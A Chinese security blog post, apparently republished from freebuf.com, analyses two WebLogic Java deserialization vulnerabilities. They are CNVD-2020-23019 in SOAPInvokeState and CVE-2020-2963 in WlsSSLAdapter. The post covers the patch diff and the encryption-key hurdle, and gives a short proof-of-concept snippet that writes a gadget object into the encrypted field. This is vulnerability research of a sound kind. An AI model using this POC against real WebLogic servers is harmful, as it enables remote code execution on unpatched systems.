weblogic CVE-2020-2963、CNVD-2020-23019 反序列化漏洞分析与复现 – 作者:宽字节安全实验室

简介

这两个洞应该都是5月更新的补丁,分析时候无意中发现的。看了一下漏洞挺简单,就是利用有点苛刻

SOAPInvokeState CNVD-2020-23019

diff 补丁,截图如下 图片[1]-weblogic CVE-2020-2963、CNVD-2020-23019  反序列化漏洞分析与复现 – 作者:宽字节安全实验室-安全小百科

可以很明显的看出,将ObjectInputStream更改为FilterInputStream。在weblogic中,FilterInputStream负责检查反序列化的类种是否存在可以利用的Gadget,而ObjectInputStream不会。并且在类的readObject 方法中,通过T3协议反序列化默认的参数为FilterInputStream,以此来防御反序列化漏洞。

除非类的readObject中乱调用ObjectInputStream,否则是不会产生反序列化漏洞的。

在SOAPInvokeState的readExternal中,我们只要能走入以下的流程即可

if((flags & 1) != 0) {
try {
len = in.readInt();
byte[] bytes = new byte[len];
in.readFully(bytes);
bytes = EncryptionUtil.decrypt(bytes);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in2 = new ObjectInputStream(bais);
this.subject = (AuthenticatedSubject)in2.readObject();
} catch (Exception var13) {
(new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13);
}

看一下writeExternal方法,被实例化的类中存在subject,就可以让readExternal执行上面的反序列化流程

if(this.subject != null) {
ByteArrayOutputStream var12 = new ByteArrayOutputStream();
ObjectOutputStream var13 = new ObjectOutputStream(var12);
var13.writeObject(this.subject);
var13.flush();
byte[] var5 = var12.toByteArray();
var5 = EncryptionUtil.encrypt(var5);
var1.writeInt(var5.length);
var1.write(var5);
}

当然,还下面问题

加密

在EncryptionUtil.encrypt加密时,会根据Kernel.isServer()为true,才会进行加密,否则返回原数据。 因此加密之前需要调用KernelStatus.setIsServer(true)设置状态为true,或者强行加密。

public static byte[] encrypt(byte[] var0) {
returngetEncryptionService().encryptBytes(var0);
}

weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService中,会读取SerializedSystemIni.dat作为密钥,也就是说,需要认证或者配合文件读取才能利用该漏洞去攻击weblogic

public static EncryptionService getExistingEncryptionService() {
String var0 = DomainDir.getRootDir();
String var1 = var0 + File.separator + "security"+ File.separator + "SerializedSystemIni.dat";
File var2 = new File(var1);
if(!var2.exists()) {
String var3 = var0 + File.separator + "SerializedSystemIni.dat";
File var4 = new File(var3);
if(!var4.exists()) {
returnnull;
}

var1 = var3;
}

SerializedSystemIni var5 = new SerializedSystemIni(var1);
returngetEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey());

POC

魔改一下 writeExternal为下面的代码,再反序列化即可

BadAttributeValueExpException exp = null;
try {
exp = cve_2020_2555.getBadAttributeValueExpException();
} catch (Exception e) {
e.printStackTrace();
}
out2.writeObject(exp);
out2.flush();
byte[] bytes = baos.toByteArray();
bytes = EncryptionUtil.encrypt(bytes);
out.writeInt(bytes.length);
out.write(bytes);
}

}

图片[2]-weblogic CVE-2020-2963、CNVD-2020-23019  反序列化漏洞分析与复现 – 作者:宽字节安全实验室-安全小百科

WlsSSLAdapter CVE-2020-2963

原理一样,详见下面的代码


private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException {
int length = in.readInt();
if(length <= 0) {
returnin.readObject();
else{
byte[] bytes = new byte[length];
in.readFully(bytes);
bytes = EncryptionUtil.decrypt(bytes);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in2 = new ObjectInputStream(bais);
returnin2.readObject();
}
}

图片[3]-weblogic CVE-2020-2963、CNVD-2020-23019  反序列化漏洞分析与复现 – 作者:宽字节安全实验室-安全小百科

参考

  1. https://www.fortiguard.com/encyclopedia/ips/48965
  2. https://www.fortiguard.com/encyclopedia/ips/48945

来源:freebuf.com 2020-10-23 17:30:10 by: 宽字节安全实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论